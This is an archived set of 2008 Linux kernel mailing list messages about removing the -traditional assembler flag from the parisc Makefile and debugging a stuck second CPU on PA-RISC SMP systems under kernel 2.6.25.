References: <20080422172404.502954084@polymtl.ca>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1208885650 16738 80.91.229.12 (22 Apr 2008 17:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Apr 2008 17:34:10 +0000 (UTC)
Cc: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>, akpm@linux-foundation.org,
	Ingo Molnar <mingo@elte.hu>, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1762751AbYDVRdW@vger.kernel.org Tue Apr 22 19:34:40 2008
connect(): Connection refused
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1762751AbYDVRdW@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JoMNn-0004uy-OZ
	for glk-linux-kernel-3@gmane.org; Tue, 22 Apr 2008 19:34:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762751AbYDVRdW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 22 Apr 2008 13:33:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1762990AbYDVRaU
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 22 Apr 2008 13:30:20 -0400
Original-Received: from smtp.polymtl.ca ([132.207.4.11]:54230 "EHLO smtp.polymtl.ca"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758894AbYDVRaS (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 22 Apr 2008 13:30:18 -0400
Original-Received: from dijkstra.casi.polymtl.ca (dijkstra.casi.polymtl.ca [132.207.72.10])
	by smtp.polymtl.ca (8.13.8/8.13.8) with ESMTP id m3MHSgJq016300
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT);
	Tue, 22 Apr 2008 13:28:43 -0400
Original-Received: from compudj by dijkstra.casi.polymtl.ca with local (Exim 4.63)
	(envelope-from <mathieu.desnoyers@polymtl.ca>)
	id 1JoMIM-0002Fu-AJ; Tue, 22 Apr 2008 13:28:42 -0400
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=parisc-remove-traditional.patch
X-Poly-FromMTA: (dijkstra.casi.polymtl.ca [132.207.72.10]) at Tue, 22 Apr 2008 17:28:42 +0000
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:669357 gmane.linux.ports.parisc:287
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/287>

Subject: [RFC patch 5/9] Re: [PATCH] Stringify support commas
 > This is a no-no for those archs that still use -traditional.
 > > I dunno if this is a problem for you at the moment and the
 > > right fix is anyway to nuke -traditional.
 > > 
 > >     Sam

Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
CC: Sam Ravnborg <sam@ravnborg.org>
CC: kyle@parisc-linux.org
CC: matthew@wil.cx
CC: grundler@parisc-linux.org
CC: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/Makefile |    3 ---
 1 file changed, 3 deletions(-)

Index: linux-2.6-lttng/arch/parisc/kernel/Makefile
===================================================================
--- linux-2.6-lttng.orig/arch/parisc/kernel/Makefile	2008-04-21 10:01:47.000000000 -0400
+++ linux-2.6-lttng/arch/parisc/kernel/Makefile	2008-04-21 10:01:56.000000000 -0400
@@ -4,9 +4,6 @@
 
 extra-y			:= init_task.o head.o vmlinux.lds
 
-AFLAGS_entry.o	:= -traditional
-AFLAGS_pacache.o := -traditional
-
 obj-y	     	:= cache.o pacache.o setup.o traps.o time.o irq.o \
 		   pa7300lc.o syscall.o entry.o sys_parisc.o firmware.o \
 		   ptrace.o hardware.o inventory.o drivers.o semaphore.o \

-- 
Mathieu Desnoyers
Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68

From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [RFC patch 5/9] PARISC remove -traditional
Date: Tue, 22 Apr 2008 14:00:09 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20080422180009.GJ19802@phobos.i.cabal.ca>
References: <20080422172404.502954084@polymtl.ca> <20080422172842.036035445@polymtl.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208887231 22692 80.91.229.12 (22 Apr 2008 18:00:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Apr 2008 18:00:31 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, akpm@linux-foundation.org,
	Ingo Molnar <mingo@elte.hu>, linux-kernel@vger.kernel.org,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 22 20:01:05 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JoMnY-00074I-2Q
	for glpp-linux-parisc@gmane.org; Tue, 22 Apr 2008 20:00:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756234AbYDVSAN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Apr 2008 14:00:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756683AbYDVSAM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Apr 2008 14:00:12 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:50152 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754909AbYDVSAK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Apr 2008 14:00:10 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id BA09B17806A; Tue, 22 Apr 2008 14:00:09 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080422172842.036035445@polymtl.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:288 gmane.linux.kernel:669367
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/288>

On Tue, Apr 22, 2008 at 01:24:09PM -0400, Mathieu Desnoyers wrote:
> Subject: [RFC patch 5/9] Re: [PATCH] Stringify support commas
>  > This is a no-no for those archs that still use -traditional.
>  > > I dunno if this is a problem for you at the moment and the
>  > > right fix is anyway to nuke -traditional.
>  > > 
>  > >     Sam
> 
> Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
> CC: Sam Ravnborg <sam@ravnborg.org>
> CC: kyle@parisc-linux.org
> CC: matthew@wil.cx
> CC: grundler@parisc-linux.org
> CC: linux-parisc@vger.kernel.org

no. more work needs to be done to remove it. i have a patch already.

it would likely be smarter to just use a private stringify for the C
code for now.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [RFC patch 5/9] PARISC remove -traditional
Date: Tue, 22 Apr 2008 14:12:39 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20080422181239.GA14156@Krystal>
References: <20080422172404.502954084@polymtl.ca> <20080422172842.036035445@polymtl.ca> <20080422180009.GJ19802@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208888300 26796 80.91.229.12 (22 Apr 2008 18:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Apr 2008 18:18:20 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, akpm@linux-foundation.org,
	Ingo Molnar <mingo@elte.hu>, linux-kernel@vger.kernel.org,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1763367AbYDVSSB@vger.kernel.org Tue Apr 22 20:18:54 2008
connect(): Connection refused
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1763367AbYDVSSB@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JoN4p-00053g-1r
	for glk-linux-kernel-3@gmane.org; Tue, 22 Apr 2008 20:18:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763367AbYDVSSB (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 22 Apr 2008 14:18:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752822AbYDVSRo
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 22 Apr 2008 14:17:44 -0400
Original-Received: from tomts43-srv.bellnexxia.net ([209.226.175.110]:39633 "EHLO
	tomts43-srv.bellnexxia.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759131AbYDVSRn (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 22 Apr 2008 14:17:43 -0400
Original-Received: from toip5.srvr.bell.ca ([209.226.175.88])
          by tomts43-srv.bellnexxia.net
          (InterMail vM.5.01.06.13 201-253-122-130-113-20050324) with ESMTP
          id <20080422181740.PXGF1582.tomts43-srv.bellnexxia.net@toip5.srvr.bell.ca>;
          Tue, 22 Apr 2008 14:17:40 -0400
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AlMFAF/IDUhMROPA/2dsb2JhbACBUqtx
Original-Received: from bas5-montreal19-1279583168.dsl.bell.ca (HELO krystal.dyndns.org) ([76.68.227.192])
  by toip5.srvr.bell.ca with ESMTP; 22 Apr 2008 14:16:23 -0400
Original-Received: from localhost (localhost [127.0.0.1])
  (uid 1000)
  by krystal.dyndns.org with local; Tue, 22 Apr 2008 14:12:39 -0400
  id 001E61C2.480E2A97.0000382B
Content-Disposition: inline
In-Reply-To: <20080422180009.GJ19802@phobos.i.cabal.ca>
X-Editor: vi
X-Info: http://krystal.dyndns.org:8080
X-Operating-System: Linux/2.6.21.3-grsec (i686)
X-Uptime: 14:12:19 up 53 days, 14:23,  5 users,  load average: 0.64, 0.40,
	0.43
User-Agent: Mutt/1.5.16 (2007-06-11)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:669374 gmane.linux.ports.parisc:289
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/289>

* Kyle McMartin (kyle@mcmartin.ca) wrote:
> On Tue, Apr 22, 2008 at 01:24:09PM -0400, Mathieu Desnoyers wrote:
> > Subject: [RFC patch 5/9] Re: [PATCH] Stringify support commas
> >  > This is a no-no for those archs that still use -traditional.
> >  > > I dunno if this is a problem for you at the moment and the
> >  > > right fix is anyway to nuke -traditional.
> >  > > 
> >  > >     Sam
> > 
> > Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
> > CC: Sam Ravnborg <sam@ravnborg.org>
> > CC: kyle@parisc-linux.org
> > CC: matthew@wil.cx
> > CC: grundler@parisc-linux.org
> > CC: linux-parisc@vger.kernel.org
> 
> no. more work needs to be done to remove it. i have a patch already.
> 
> it would likely be smarter to just use a private stringify for the C
> code for now.

OK, this is what I wanted to know.

Thanks,

Mathieu

-- 
Mathieu Desnoyers
Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68

From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Tue, 22 Apr 2008 18:44:40 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20080423004440.GB21544@colo.lackof.org>
References: <20080420231818.GA2162@ska.dandreoli.com> <1208789018.3640.6.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208911505 3861 80.91.229.12 (23 Apr 2008 00:45:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Apr 2008 00:45:05 +0000 (UTC)
Cc: Domenico Andreoli <cavokz@gmail.com>,
	Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 23 02:45:38 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JoT7A-0005OP-5c
	for glpp-linux-parisc@gmane.org; Wed, 23 Apr 2008 02:45:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758344AbYDWAox (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Apr 2008 20:44:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759261AbYDWAox
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Apr 2008 20:44:53 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:48032 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757723AbYDWAow (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Apr 2008 20:44:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5C52B3F8BA7;
	Tue, 22 Apr 2008 18:44:51 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13292-03; Tue, 22 Apr 2008 18:44:40 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C2A42300018; Tue, 22 Apr 2008 18:44:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1208789018.3640.6.camel@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:290 gmane.linux.kernel:669586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/290>

On Mon, Apr 21, 2008 at 09:43:38AM -0500, James Bottomley wrote:
> On Mon, 2008-04-21 at 01:18 +0200, Domenico Andreoli wrote: 
> > as soon as I booted my dual PA8600 with 2.6.25 I got 1 CPU less. The
> > only other kernel I successfully used on that box is Debian's 2.6.22-3.
> > 
> > Debian never built 2.6.23 for parisc, 2.6.24 was still hanging last
> > time I checked it, 2.6.25 did not even build until recent -rc. So I am
> > not in the best position to bisect.
> 
> Try this one; it's a corrected version of debian 2.6.24-1 for parisc
> systems:
> 
> http://www.parisc-linux.org/~jejb/parisc_debs/linux-image-2.6.24-1-parisc64-smp_2.6.24-5+b1_hppa.deb

thanks! I can try that out tonight too.

> One thing to try with the J series is a 32 bit
> kernel just in case: they're the only SMP systems that will boot 32
> bits, just in case you could try a 32 bit smp kernel.

J-series are the only workstations that are SMP and boot 32-bit.
PA9000 K/D/R-class servers are SMP and can also boot 32-bit kernels.

> As Dave Anglin said, it could be a config problem, although when I have
> CPUs deconfigured by firmware, they usually don't show up in the
> inventory.

*nod* I don't expect CPUs to show up in inventory if they are
deconfigured in BCH. Maybe J-class firmware has this wrong? *shrug*
Something worth checking I guess.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Tue, 22 Apr 2008 20:54:38 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20080423005438.GK19802@phobos.i.cabal.ca>
References: <20080420231818.GA2162@ska.dandreoli.com> <1208789018.3640.6.camel@localhost.localdomain> <20080423004440.GB21544@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208912117 5060 80.91.229.12 (23 Apr 2008 00:55:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Apr 2008 00:55:17 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933920AbYDWAzD@vger.kernel.org Wed Apr 23 02:55:52 2008
connect(): Connection refused
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933920AbYDWAzD@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JoTH4-0007Jz-Eo
	for glk-linux-kernel-3@gmane.org; Wed, 23 Apr 2008 02:55:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933920AbYDWAzD (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 22 Apr 2008 20:55:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754698AbYDWAys
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 22 Apr 2008 20:54:48 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:45797 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755333AbYDWAyl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 22 Apr 2008 20:54:41 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 0795917805F; Tue, 22 Apr 2008 20:54:39 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080423004440.GB21544@colo.lackof.org>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:669587 gmane.linux.ports.parisc:291
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/291>

On Tue, Apr 22, 2008 at 06:44:40PM -0600, Grant Grundler wrote:
> 
> *nod* I don't expect CPUs to show up in inventory if they are
> deconfigured in BCH. Maybe J-class firmware has this wrong? *shrug*
> Something worth checking I guess.
> 

i booted the kernel from my rp3440 on my j6000. i also get this cpu1 is
stuck message. putting a panic in the SMP C-code entrypoint is never
hit.

most oddly, putting a hpmc-causing insn sequence in the entry point
doesn't trigger either, so the cpu isn't coming out of the rendezvous.

even more oddly, the stwa insn in the bring up code looks fine.

--kyle

From - Thu Nov 08 21:02:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Tue, 22 Apr 2008 18:54:44 -0600
Lines: 135
Approved: news@gmane.org
Message-ID: <20080423005444.GC21544@colo.lackof.org>
References: <20080420231818.GA2162@ska.dandreoli.com> <20080421050029.GC15080@colo.lackof.org> <20080421133113.GA2223@ska.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208912121 5066 80.91.229.12 (23 Apr 2008 00:55:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Apr 2008 00:55:21 +0000 (UTC)
To: Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 23 02:55:56 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JoTH5-0007Jz-3N
	for glpp-linux-parisc@gmane.org; Wed, 23 Apr 2008 02:55:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754698AbYDWAzI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Apr 2008 20:55:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933885AbYDWAzD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Apr 2008 20:55:03 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:48147 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933611AbYDWAy4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Apr 2008 20:54:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D16076F801A;
	Tue, 22 Apr 2008 18:54:54 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14024-04; Tue, 22 Apr 2008 18:54:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1A547300018; Tue, 22 Apr 2008 18:54:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080421133113.GA2223@ska.dandreoli.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:292 gmane.linux.kernel:669588
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/292>

On Mon, Apr 21, 2008 at 03:31:13PM +0200, Domenico Andreoli wrote:
> On Sun, Apr 20, 2008 at 11:00:29PM -0600, Grant Grundler wrote:
> > On Mon, Apr 21, 2008 at 01:18:18AM +0200, Domenico Andreoli wrote:
> > > 
> > >   as soon as I booted my dual PA8600 with 2.6.25 I got 1 CPU less. The
> > > only other kernel I successfully used on that box is Debian's 2.6.22-3.
> > 
> > Sorry, I can't reproduce this on my j6000.
> >
> > But there are some differences:
> > 1) I'm using gcc 4.2
> 
> how do you build with gcc 4.2? if i try with make -j2 CC=gcc-4.2 build
> fails almost immediately (yes, I have package gcc-4.2).

You probably need to change the .config so CONFIG_64BIT is not set.

_OR_ use the 64-bit compiler:
	make -j2 CC=hppa64-gnu-linux-gcc-4.2

> > 2) I'm testing 32-bit kernels.
> 
> indeeed disabling 64 bit support brings the cpu back

Ok. So it's not likely to be a HW problem.

> 
> > ...
> > > model 9000/785/J5600
> > > Total Memory: 3840 MB
> > 
> > Is this really 4GB with IO Hole?
> > The memory behind the IO Hole should be visible at a phys addr above 4GB.
> 
> really don't know, please read the diff between the two boots. thank you.

Sorry...that question was really targeting others on parisc-linux list.
The diff will some noise in it because 64-bit has to "F-extend" all
physical addresses to be 64-bit. (That's not quite the same as sign
extension because of some wonkiness in 32->64 bit phys address aliasing.)

thank,
grant

> --- dmesg.txt	2008-04-21 11:19:16.000000000 +0200
> +++ dmesg2.txt	2008-04-21 15:27:46.000000000 +0200
> @@ -1,6 +1,7 @@
> -Linux version 2.6.22-3-parisc64-smp (Debian 2.6.22-6) (maks@debian.org) (gcc version 4.1.3 20071019 (prerelease) (Debian 4.1.2-17)) #2 SMP Mon Nov 12 21:04:20 CET 2007
> +Linux version 2.6.25 (cavok@ska) (gcc version 4.1.3 20080308 (prerelease) (Debian 4.1.2-21)) #8 SMP Mon Apr 21 12:25:50 CES8
>  FP[0] enabled: Rev 1 Model 16
>  The 64-bit Kernel has started...
> +console [ttyB0] enabled
>  Initialized PDC Console for debugging.
>  Determining PDC firmware type: System Map.
>  model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 000000b2 000000b2
> @@ -8,41 +9,28 @@
>  CPUID vers 17 rev 10 (0x0000022a)
>  capabilities 0x3
>  model 9000/785/J5600
> -Memory Ranges:
> - 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
> - 1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
> -Total Memory: 4096 MB
> -initrd: 7fa75000-7ffee77e
> -initrd: reserving 3fa75000-3ffee77e (mem_max 100000000)
> -On node 0 totalpages: 983040
> -  Normal zone: 13440 pages used for memmap
> -  Normal zone: 0 pages reserved
> -  Normal zone: 969600 pages, LIFO batch:31
> -On node 1 totalpages: 65536
> -  Normal zone: 896 pages used for memmap
> -  Normal zone: 0 pages reserved
> -  Normal zone: 64640 pages, LIFO batch:15
> +Total Memory: 3840 MB
>  LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
>  SMP: bootstrap CPU ID is 0
> -Built 2 zonelists.  Total pages: 1034240
> -Kernel command line: root=/dev/sdb5 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux.failsafe
> +Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 969600
> +Kernel command line: root=/dev/sdb5 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
>  PID hash table entries: 4096 (order: 12, 32768 bytes)
>  Console: colour dummy device 160x64
>  Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
>  Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
> -Memory: 4110336k/4194304k available (3041k kernel code, 83172k reserved, 1302k data, 296k init)
> +Memory: 3858944k/3932160k available (2925k kernel code, 72904k reserved, 1278k data, 236k init)
>  virtual kernel memory layout:
>      vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
> -    memory  : 0x0000000040000000 - 0x0000001140000000   (69632 MB)
> -      .init : 0x0000000040608000 - 0x0000000040652000   ( 296 kB)
> -      .data : 0x00000000403f8500 - 0x000000004053e000   (1302 kB)
> -      .text : 0x0000000040100000 - 0x00000000403f8500   (3041 kB)
> -Calibrating delay loop... 1101.82 BogoMIPS (lpj=2203648)
> -Security Framework v1.0.0 initialized
> -SELinux:  Disabled at boot.
> +    memory  : 0x0000000040000000 - 0x0000000130000000   (3840 MB)
> +      .init : 0x00000000405b4000 - 0x00000000405ef000   ( 236 kB)
> +      .data : 0x00000000403db720 - 0x000000004051b000   (1278 kB)
> +      .text : 0x0000000040100000 - 0x00000000403db720   (2925 kB)
